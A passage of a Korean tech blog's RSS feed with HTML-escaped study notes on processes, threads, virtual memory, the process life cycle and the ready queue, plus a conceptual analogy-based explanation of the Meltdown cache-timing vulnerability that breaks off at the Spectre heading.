&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU가 연산할 때 프로세스의 상태(문맥)가 변화한다. &amp;rarr; Register에 상태 변화를 기록한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/운영체제</category>
      <category>context</category>
      <category>context switch</category>
      <category>CS</category>
      <category>Process</category>
      <category>Thread</category>
      <category>문맥</category>
      <category>문맥 교환</category>
      <category>보류 상태</category>
      <category>스레드</category>
      <category>프로세스</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/185</guid>
      <comments>https://it-log.tistory.com/185#entry185comment</comments>
      <pubDate>Sat, 24 Aug 2024 00:12:24 +0900</pubDate>
    </item>
    <item>
      <title>프로세스와 스레드</title>
      <link>https://it-log.tistory.com/184</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Process와 Thread의 차이&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스(Process) = 관리의 단위 = 연산할 것&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스 = 파일로 되어 있는 프로그램의 일부가 메모리에 적재된다. (실행되고 있는 프로그램)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스(작업)는 최소 1개의 스레드가 존재한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;스레드(Thread) = 1개 프로세스 내 개별화된 코드의 실행 흐름&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;멀티 스레딩(Multi Threading) = 1개 프로세스 내 개별화된 여러 개의 실행 흐름&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;가상메모리에 할당된 공간&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;OS는 Virtual Memory를 프로세스에 할당한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;프로세스에 속한 모든 스레드는 프로세스의 Virtual Memory로 공간이 제약된다.&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;스레드는 실질적 연산의 주체&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;멀티 스레딩 &amp;rarr; 동시성 + 동기화 이슈&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스 = 1 가구&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;스레드 = 1 세대원&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Vurtual Memory = 1 가구가 존재하는 공간(집)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스에 할당된 Virtual Memory = 집&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;스레드마다 Stack 구조로 관리되는 메모리 공간이 있다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Thread Local Storage = Stack, 각자 쓰는 공간(각자의 방)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Heap = 거실, 부엌 등 공용 공간, Process 전체가 사용&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;스레드마다 각자 고유한 TLS(Thread Local Storage)를 가지고 있다 = 각자 자기 방을 가진다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스에게 CPU 자원 할당 = Linux 계열&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;스레드에게 CPU 자원 할당 = Windows 계열&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;컴퓨터의 자원&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Computer = CPU + RAM + HDD&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;가상메모리(Virtual Memory) = RAM + HDD&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;프로세스 단위로 가상메모리가 할당된다.&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스에 스레드가 속해있으며, 프로세스에게 주어진 메모리 공간을 사용한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;PCB(Process Control Block) =&lt;span&gt;&amp;nbsp;&lt;/span&gt;OS가 프로세스 관리에 필요한 정보를 저장한 곳&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;TCB(Thread Control Block) =&lt;span&gt;&amp;nbsp;&lt;/span&gt;OS가 스레드 관리에 필요한 정보를 저장한 곳&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span&gt;CPU의 Core = 연산의 주체&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span&gt;CPU Core가 8개가 있다면, Process 2000개는 CPU 자원을 분할해서 사용해야 한다. = 시분할&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로그램이 프로세스가 되는 과정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8LmJ2/btsI60hy6sW/CXZrOj0bkYkxmYNOpx844K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8LmJ2/btsI60hy6sW/CXZrOj0bkYkxmYNOpx844K/img.png&quot; data-alt=&quot;그림1 - 프로그램이 메모리에 올라와 프로세스가 되는 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8LmJ2/btsI60hy6sW/CXZrOj0bkYkxmYNOpx844K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8LmJ2%2FbtsI60hy6sW%2FCXZrOj0bkYkxmYNOpx844K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;739&quot; height=&quot;446&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 프로그램이 메모리에 올라와 프로세스가 되는 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;PID = Process ID (정수)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;가상 메모리 영역 = Stack, Heap, Code(text)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;MS Word = HDD에 설치&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;설치된 프로그램을 RAM 메모리에 올린다. = 인스턴스 화 = 프로그램 실행 = 프로세스&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로세스의 Life Cycle&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;745&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q8Ztj/btsI6Yxp8bd/PK7ViVONECR5EOkcYNMDHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q8Ztj/btsI6Yxp8bd/PK7ViVONECR5EOkcYNMDHk/img.png&quot; data-alt=&quot;그림2 - 프로세스의 상태&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q8Ztj/btsI6Yxp8bd/PK7ViVONECR5EOkcYNMDHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq8Ztj%2FbtsI6Yxp8bd%2FPK7ViVONECR5EOkcYNMDHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;745&quot; height=&quot;422&quot; data-origin-width=&quot;745&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 프로세스의 상태&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스의 상태는 전이한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스의 Life Cycle = 생성 &amp;rarr; 준비 &amp;rarr; 실행 &amp;rarr; 완료&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;가끔 대기 상태가 추가된 Life Cycle이 있다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스가 I/O 요청 시 Device에서 응답 받을 때 까지 기다린다. = 대기 상태 = Blocking I/O&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;요청한 프로세스의 실행상태가 유지됨 =&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;기다리지 않고 비동기적으로 한다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;= Non Blocking I/O&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Ready Queue (준비 상태 큐)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ndnjY/btsI7GwIP3m/ebRhWwfqY83nM0GACPhNdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ndnjY/btsI7GwIP3m/ebRhWwfqY83nM0GACPhNdk/img.png&quot; data-alt=&quot;그림3 - 준비 상태 큐&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ndnjY/btsI7GwIP3m/ebRhWwfqY83nM0GACPhNdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FndnjY%2FbtsI7GwIP3m%2FebRhWwfqY83nM0GACPhNdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;586&quot; height=&quot;303&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 준비 상태 큐&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;OS에서 프로세스를 관리할 때 Queue를 사용한다. (Queue 관련 글은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://it-log.tistory.com/177&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;준비 상태의 프로세스(스레드)를 Queue에 가지고 있는다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;디스패치(Dispatch) = 보내다, 발송하다 &amp;rarr; 보낼 대상을 선정 후 꺼낸다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Queue에 실행해야 할 프로세스(스레드)가 나열되어 있으며, OS는 앞부분부터 꺼낸다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU Core의 개수만큼 한번에 꺼낸다. &amp;rarr; 8개면, 한번에 8개 꺼낸다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;디스패치하게 되면 자원이 할당되고 실행으로 이뤄진다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://youtu.be/x-Lp-h_pf9Q&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://youtu.be/x-Lp-h_pf9Q&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/운영체제</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>pcb</category>
      <category>Process</category>
      <category>TCB</category>
      <category>Thread</category>
      <category>스레드</category>
      <category>운영체제</category>
      <category>프로세스</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/184</guid>
      <comments>https://it-log.tistory.com/184#entry184comment</comments>
      <pubDate>Fri, 23 Aug 2024 00:12:23 +0900</pubDate>
    </item>
    <item>
      <title>CPU 예측이 가져오는 문제점(멜트다운, 스펙터)</title>
      <link>https://it-log.tistory.com/183</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;CPU가 예측해서 발생한 심각한 문제(CPU 게이트)&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU = 교수, Cache Memory = 조교, RAM = 도서관&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;조교는&amp;nbsp;교수가&amp;nbsp;다음에&amp;nbsp;사용할&amp;nbsp;책을&amp;nbsp;예상하여&amp;nbsp;도서관에서&amp;nbsp;가져온다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;반대의 관점 &amp;rarr; 조교가 시키지도 않은 일을 하여 교수의 행동이 예측됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;CPU 정보 처리 방식&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU 안에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;레지스터&lt;/b&gt;가 있다. CPU는 일을 할 때 임시로 숫자를 레지스터에 적어둔다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;각종 프로그램들은 RAM에 자신이 필요한 정보를 적어둔다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;캐시는 RAM에 비해서 매우 빠르게 정보를 넣었다 뺐다 할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;멜트다운 간단 설명&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;유저 프로그램이 운영체제 권한 영역을 훔쳐보는 취약점&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;100번 방에서 숫자를 꺼낸다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;100번 방에서 꺼낸 숫자를 레지스터 al에 임시로 저장한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;al에 저장된 숫자와 1000을 더한다. (여기에서는 1097로 가정한다.)&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;3번에서 더한 결과에 해당하는 RAM의 숫자를 꺼낸다. (즉, 1097번 방의 자료를 꺼낸다.)&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;꺼낸 숫자를 해커에게 전달한다. &amp;rarr; 오류 발생으로 확인 불가&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;해커는 RAM의 1000번 방부터 하나씩 방을 검색한다. (1000번 이후의 모든 방들은 캐시에 없으므로 램에서 읽어오기 때문에 속도가 느리다.)&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;1097번 방의 정보는 캐시에 있으므로(4번에서 자료를 꺼냈으므로) 읽는 데 시간이 적게 걸린다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;해커는 1097번 방과 다른 방들의 정보 읽는 시간이 다른 것을 확인하여 al 값이 97이라는 것을 알 수 있다. &amp;rarr; 1097 - 1000 = 97&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;407&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ewllp6/btsI0L6aVBO/156WKbEiSR9n5q0wbjRp1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ewllp6/btsI0L6aVBO/156WKbEiSR9n5q0wbjRp1K/img.png&quot; data-alt=&quot;그림1 - 멜트다운 간단 설명&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ewllp6/btsI0L6aVBO/156WKbEiSR9n5q0wbjRp1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fewllp6%2FbtsI0L6aVBO%2F156WKbEiSR9n5q0wbjRp1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;407&quot; height=&quot;405&quot; data-origin-width=&quot;407&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 멜트다운 간단 설명&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;해커가 100번 방의 숫자를 읽으라고 명령 = Kernel만 읽을 수 있으므로(System Call), User Mode Application Process는 읽을 수 없어 오류가 발생한다. (권한 오류 발생 - 할 수 없는 연산 시도)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;권한 오류가 발생하지만, 사용자에게 보여지지 않을 뿐 행동은 실제로 일어난다.&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU는 100번 방의 숫자를 읽어서 캐싱을 하고, 레지스터 al에 97이 저장된다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;해커는 레지스터 al에 저장된 값에 +1000이라는 연산을 시도한다. &amp;rarr; al 값 + 1000 = 1097&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;해커는 RAM의 1097번 방에서 정보를 가져온다. &amp;rarr; 권한 오류 발생, 값은 확인 불가하지만 행동은 발생&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;해커는 RAM 1000번 방부터 하나씩 정보를 읽어온다. (1000번 방 이후의 모든 방들은 캐시가 없으므로 읽는 속도가 느리다.)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;RAM 1097번 방의 정보를 읽으면 다른 방보다 속도가 빠르다. (1097번 방에서 정보를 가져왔기 때문에 캐시가 있다.)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;RAM 1097번 방의 정보를 읽을 때 시간과 다른 방에서 정보를 읽을 때의 시간을 비교하여 1097번이 CPU가 실제로 정보를 읽었다는 것을 알게 된다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;해커는 1097 - 1000 을 연산하여 97이라는 값을 확인한다. ( 'a' 값이 저장된 것을 확인 )&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;해커는 메모리 값을 직접 읽는 것은 불가하므로, CPU의 al 레지스터에 메모리 값을 넣도록 하여 값을 유추한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;'CPU가 일을 다 하고 보여주지만 않으니,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;CPU가 일한 흔적을 찾아&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;100번 방의 숫자를 알아내자&lt;/b&gt;'라는 것이 멜트다운 버그의 핵심 아이디어이다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;RAM 읽는 속도를 비교하여 CPU에 저장된 al 값을 추측&lt;/b&gt;하는 것이 멜트다운 취약점의 핵심이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;스펙터 간단 설명&lt;/b&gt;&lt;/h2&gt;
